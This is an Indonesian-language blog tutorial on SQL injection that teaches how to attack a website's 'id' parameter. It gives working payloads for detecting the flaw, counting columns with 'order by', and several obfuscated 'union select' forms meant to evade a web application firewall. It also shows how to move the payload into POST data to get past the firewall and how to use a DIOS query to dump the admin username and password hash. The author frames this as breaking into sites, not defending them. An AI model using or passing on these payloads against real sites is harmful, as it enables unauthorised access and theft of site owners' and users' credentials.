Nah oke, pada artikel kali ini saya ingin sharing pengalaman mengenai tentang SQL Injection yaitu Tutorial SQL Injection POST Method mungkin ini bisa menjadikan sebagai referensi untuk teman-teman yang sedang membutuhkan.
Tentang SQL Injection? Ah pasti kamu sudah tahu akan mengenai hal ini tanpa harus dijelaskan di artikel ini, yakan? Hehe.
Dari sisi metode yang digunakan, serangan dapat melalui 2 method yaitu GET dan POST, jika kamu belum paham mari kita simak sedikit penjelasan dibawah ini,
GET Method
Disebut metode GET karena menggunakan dengan parameter GET untuk memasukan/menyuntikan sebuah perintah, dan ini yang paling umum ditemui atau banyak digunakan untuk menyuntikan perintah SQL Injection dengan melalui URL sebuah situs atau website pada address bar, sehingga metode ini biasanya dikenal juga sebagai URL Based SQL Injection.
POST Method
Sedangkan POST Method ini berasal dari sebuah variabel yang ada pada sebuah form, misalnya contoh seperti pada form login, form search yang tidak dilengkapi dengan filter input. Adapun cara untuk mengetahuinya juga sama dengan memberikan perintah karakter ' petik, - minus atau bisa juga dengan karakter ASCII yang dirasa bisa menghasilkan sebuah error. Kalau hal seperti ini sering saya temui, dulu pernah iseng menggunakan metode ini untuk mem-bypass halaman login website tanpa harus mengetahui username password yang digunakan.
Oke jika dirasa sudah paham, sekarang mari kita lanjutin ke step by step berikutnya yukk.
Tutorial SQL Injection POST Method
Maaf sebelumya, disini saya tidak bisa memberikan live target yang asli dikarenakan saya takut nantinya digunakan untuk sesuatu yang bersifat destruktif, jadi anggap saja target saya kurang lebih seperti ini,http://url.com/food.php?id=2
Step 1: Cek Target Vuln atau Tidak
Untuk memastikan vuln atau tidaknya saya menggunakan perintah tanda petik ' dan diletakan diakhir endpoint, kurang lebih jadi seperti ini.url/food.php?id=2'
Setelah saya tekan enter, pada website tersebut muncul tampilan error yang berbeda dengan error biasanya, kurang lebih seperti pada gambar berikut ini,
Nah setelah itu, saya mencoba untuk mengembalikan website ke tampilan semula dengan melakukan comment/balancing pada payload.
Saya menambahkan tanda double dash seperti ini -- diakhir tapi hasilnya malah kena WAF Forbidden. Sekarang saya mencoba untuk menghilangkan karakter tanda petik 'tadi, sehingga setelah saya jalankan website tersebut kembali normal, jadi cek target vuln atau tidaknya sudah selesai.
Step 2: Mencari Jumlah Table
Seperti pada umumnya, untuk mencari dan menghitung jumlah table yang ada didalam database website tersebut, kamu bisa menggunakan perintah order by sampai muncul diangka berapa terdapat error.Tapi pada contoh target saya ini, setelah saya memasukan perintah order by malah kena WAF Forbidden, setelah memikirkan bagaimana caranya untuk bypass waf tersebut dan kemudian mencoba langkah demi langkah akhirnya saya menemukan cara yang pass untuk bypass, kurang lebih seperti ini.
Memasukan order by tapi kena waf |
url/food.php?id=2 order /**_**/ by 1-- Normal
url/food.php?id=2 order /**_**/ by 7-- Normal
url/food.php?id=2 order /**_**/ by 11-- Error
Pada target ini, error muncul diangka ke 11 berarti bisa kita pahami kalau jumlah table atau kolom hanya ada sampai 10 saja.
Step 3: Mencari Angka Ajaib
Cara selanjutnya adalah mencari atau mengeluarkan angka berapa yang muncul dengan menggunakan perintah union selectsampai diangka tadi yang error pada saat order by, contoh ditarget saya tadi error sampai 11 jadi union select 1 sampai angka 10.Maka perintahnya akan seperti berikut ini, dan jangan lupa tambahkan tanda - dibelakang =agar angka ajaibnya muncul.
url/food.php?id=-2 union select 1,2,3,4,5,6,7,8,9,10--
Setelah saya jalankan, apa yang terjadi? Lagi-lagi kena WAF Forbidden, ah sialan.
Memasukan union select tapi kena waf |
Website target ini memang bikin kesal, saya diharuskan untuk berpikir untuk bagaimana cara bypass waf tersebut, oke tidak apa-apa hal ini sudah menjadi tantangan bagi penyerang jadi biasa kalau ada WAF wkwkk.
Saya sudah mulai memikirkannya dan saya mencoba bypass waf tersebut kata demi kata (union dan select), kurang lebih seperti ini caranya.
url/food.php?id=-2 /*!50000union*/ select 1,2,3,4,5,6,7,8,9,10-- Forbidden
url/food.php?id=-2 and 0 /*!50000UniON SeLeCt*/ 1,2,3,4,5,6,7,8,9,10-- Forbidden
url/food.php?id=-2 and 0 /*!50000%55niON*/ /*!50000%53eLeCt*/ 1,2,3,4,5,6,7,8,9,10-- Forbidden
url/food.php?id=-2 and mod(53, 12) union/**/distinctrow select 1,2,3,4,5,6,7,8,9,10--
Dari sekian bypass yang sudah saya coba terapkan, tetap saja tidak ada perubahan sama sekali alias ketika memasukan perintah tersebut masih tetap terkena WAF Forbidden.
Sebenarnya saya sudah mau bodo amat skip aja cari web yang lain masih banyak yang vuln sqli, tetapi kok rasanya masih penasaran gitu pengen solved hehe, yaudah.
CARA BYPASS DIMULAI DARI SINI :D
Entah kenapa tiba-tiba pikiran saya kek ada yang mengarahkan gitu "coba aja dengan cara POST Method" siapa tahu bisa solved, wah ada-ada saja aku ini wkwk.
Oke, disini saya mulai mencoba menerapkan cara bypass waf tersebut dengan metode POST DATA dan berhubung saya tidak ada laptop saya menggunakan aplikasi Anon HackBar yang versi 1.4 soalnya ada fitur POST DATA.
Nah, lalu bagaimana cara bypass waf dengan POST Method di Anon HackBar tersebut? Caranya seperti berikut ini,
Dicontoh saya:
url/food.php?id=-2 union select 1,2,3,4,5,6,7,8,9,10--
Kemudian post data harus on, cukup salin id=-2 union select 1,2,3,4,5,6,7,8,9,10-- saja dan tempelkan dikolom post data yang terdapat diaplikasi anon hackbar tersebut, jika kamu masih binggung bisa lihat pada contoh gambar berikut ini.
Pada target tersebut saya tambakan perintah and 0 biar muncul angka ajaibnya.
Setelah saya jalankan, lihat apa yang terjadi? Ternyata bypass waf tersebut berhasil dengan metode post data, tanpa harus union select dibuat aneh-aneh seperti contoh tadi.
Owalah, ternyata saya sudah capek mikir gini gitu setelah diakali dengan POST DATAternyata waf bisa bypass, bikin pusing aja haha.
Oke permasalahanya sudah selesai, website target tersebut muncul angka ajaibnya yaitu 2,4, berarti ini artinya kita bisa menggunakan salah satu dari angka tersebut untuk melanjutkan langkah berikutnya yaitu dump username dan password dengan DIOS.
Step 4: Cara Mendapatkan Username dan Password Dengan DIOS
Sebenarnya untuk cara seperti ini tidak harus menggunakan DIOS tidak jadi masalah sih, kamu bisa menggunakan cara kamu sendiri asal sudah paham dan mengerti.Disini tujuan saya menggunakan DIOS untuk memunculkan semua table dan columns dari database website tersebut hanya dengan menggunakan 1 query, dan tentunya biar tidak terlalu ribet.
Oiya saya menggunakan DIOS By Zen dan memasukan dios tersebut diangka ke 2, setelah itu klik EXECUTE kira-kira tampilanya seperti gambar ini,
Jika sudah bisa, selanjutnya sekarang mencari username dan password website tersebut.
Pada target ini nama columnsnya adminkemudian nama-nama tablenya ada user_name dan password.
Jika dimasukan didalam DIOS maka kurang lebih perintah lengkapnya seperti berikut,
url/food.php?id=-2 and 0 union select 1,make_set(6,@:=0x0a,(select(1)from(admin)where@:=make_set(511,@,0x3c6c693e,user_name,password)),@),3,4,5,6,7,8,9,10--
Lalu kemudian tinggal klik EXECUTE, maka hasil dari output yang saya dapatkan seperti ini.
Username: admin
Password: aa32c75df0b5b310c80323fc02d44599
Kalau sudah mendapatkan user/pass langkah terakhir yaitu tinggal crack password tersebut, dan itu pun kalau perlu aja.
Selesai deh...
Yah, bagaimanapun juga, SQL Injection tergantung pada skill kreativitas attacker, saya masih nub hehe.
Demikian artikel saya kali ini tentang Tutorial SQL Injection POST Method, jika ada kesalahan dari saya mohon untuk diluruskan ya. Semoga apa yang saya tulis ini dapat bermanfaat buat kalian.
Terimakasih sudah membaca.
0 Komentar